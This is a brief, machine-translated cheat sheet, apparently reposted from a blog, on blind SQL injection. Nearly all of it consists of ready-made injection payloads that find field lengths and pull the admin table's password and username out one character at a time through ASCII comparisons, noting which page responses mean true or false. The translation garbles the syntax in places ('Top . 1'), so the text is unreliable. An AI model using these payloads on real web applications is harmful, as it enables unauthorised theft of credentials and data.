blind sql syntax

If the page fault is not significant figures, with the blind data syntax is determined based on the page content change


Get Data length:

and ( SELECT Top . 1 len (column names) from the table name)> . 5 
and ( SELECT Top . 1 len (password) from ADMIN)> 16 // Error 
and ( SELECT Top . 1 len (password) from ADMIN)> 15 // Normal

Gets the specified number of bits of data:

and ( SELECT Top . 1 ASC (MID (column name, position, . 1 )) from table name)> 97 
and ( SELECT Top . 1 ASC (MID (admin, . 1 , . 1 )) from admin)> 96 // Analyzing field admin content of an ascii code value is greater than the normal 96 
and ( SELECT Top . 1 ASC (MID (admin, . 1 , . 1 )) from admin)> 97 // determine the content of a field admin ascii code error description greater than 97 It is 97

 

mid (string position, taken, taken characters) 
ASC () // converts the character code to facilitate comparison to ascii

Guess you like

Origin www.cnblogs.com/yjxing/p/11504664.html